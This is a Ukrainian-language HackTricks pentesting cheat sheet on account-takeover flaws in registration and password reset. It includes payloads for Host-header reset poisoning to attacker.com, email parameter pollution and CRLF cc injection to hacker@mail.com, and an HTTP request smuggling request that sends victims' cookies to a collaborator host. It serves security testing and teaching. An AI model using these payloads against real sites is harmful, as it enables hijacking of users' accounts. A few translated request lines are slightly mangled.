hacktricks/pentesting-web/registration-vulnerabilities.md

206 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Вразливості реєстрації та захоплення
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Захоплення реєстрації
### Дублювання реєстрації
* Спробуйте згенерувати, використовуючи існуюче ім'я користувача
* Перевірте, варіюючи електронну пошту:
* великі літери
* \+1@
* додайте крапку в електронній пошті
* спеціальні символи в імені електронної пошти (%00, %09, %20)
* Додайте чорні символи після електронної пошти: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Перерахування імен користувачів
Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстровано в додатку.
### Політика паролів
Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі).\
У такому випадку ви можете спробувати брутфорсити облікові дані.
### SQL-ін'єкція
[**Перевірте цю сторінку** ](sql-injection/#insert-statement), щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через **SQL-ін'єкції** у формах реєстрації.
### Захоплення Oauth
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### Вразливості SAML
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Зміна електронної пошти
Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.
### Більше перевірок
* Перевірте, чи можете ви використовувати **тимчасові електронні адреси**
* **Довгий** **пароль** (>200) призводить до **DoS**
* **Перевірте обмеження швидкості на створення облікових записів**
* Використовуйте username@**burp\_collab**.net і аналізуйте **callback**
## **Захоплення скидання пароля**
### Витік токена скидання пароля через реферер <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Запросіть скидання пароля на вашу електронну адресу
2. Натисніть на посилання для скидання пароля
3. Не змінюйте пароль
4. Перейдіть на будь-які сторонні веб-сайти (наприклад: Facebook, Twitter)
5. Перехопіть запит у проксі Burp Suite
6. Перевірте, чи заголовок referer витікає токен скидання пароля.
### Отруєння скидання пароля <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Перехопіть запит на скидання пароля в Burp Suite
2. Додайте або відредагуйте наступні заголовки в Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Перешліть запит з модифікованим заголовком\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Шукайте URL скидання пароля на основі аголовка host_, наприклад: `https://attacker.com/reset-password.php?token=TOKEN`
### Скидання пароля через параметр електронної пошти <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR на API Параметрах <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Атакуючий повинен увійти в свій обліковий запис і перейти до функції **Змінити пароль**.
2. Запустіть Burp Suite і перехопіть запит.
3. Відправте його на вкладку повторювача та відредагуйте параметри: ID користувача/електронна пошта\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Слабкий Токен Скидання Пароля <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.\
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
* Часова мітка
* ID користувача
* Електронна пошта користувача
* Ім'я та прізвище
* Дата народження
* Криптографія
* Тільки числа
* Невелика послідовність токенів (символи між \[A-Z,a-z,0-9])
* Повторне використання токена
* Дата закінчення терміну дії токена
### Витік Токена Скидання Пароля <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
2. Перевірте відповідь сервера та перевірте наявність `resetToken`
3. Потім використовуйте токен в URL, наприклад `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Скидання Пароля Через Колізію Імені Користувача <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: `"admin "`
2. Запросіть скидання пароля з вашим шкідливим іменем користувача.
3. Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
4. Увійдіть до облікового запису жертви з новим паролем.
Платформа CTFd була вразливою до цієї атаки.\
Дивіться: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Захоплення Облікового Запису Через Міжсайтовий Скриптинг <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: `*.domain.com`
2. Витікайте поточний **cookie сесії**
3. Аутентифікуйтеся як користувач, використовуючи cookie
### Захоплення Облікового Запису Через Підтасування HTTP Запитів <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Використовуйте **smuggler** для виявлення типу підтасування HTTP запитів (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` з наступними даними:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` з метою перенаправлення жертв на burpcollab і крадіжки їхніх cookie\
3\. Остаточний запит може виглядати наступним чином
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone reports exploiting this bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Захоплення облікового запису через CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичною відправкою для зміни пароля”
2. Відправте payload
### Захоплення облікового запису через JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token може використовуватися для аутентифікації користувача.
* Змініть JWT на інший User ID / Email
* Перевірте на слабкий підпис JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Посилання
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}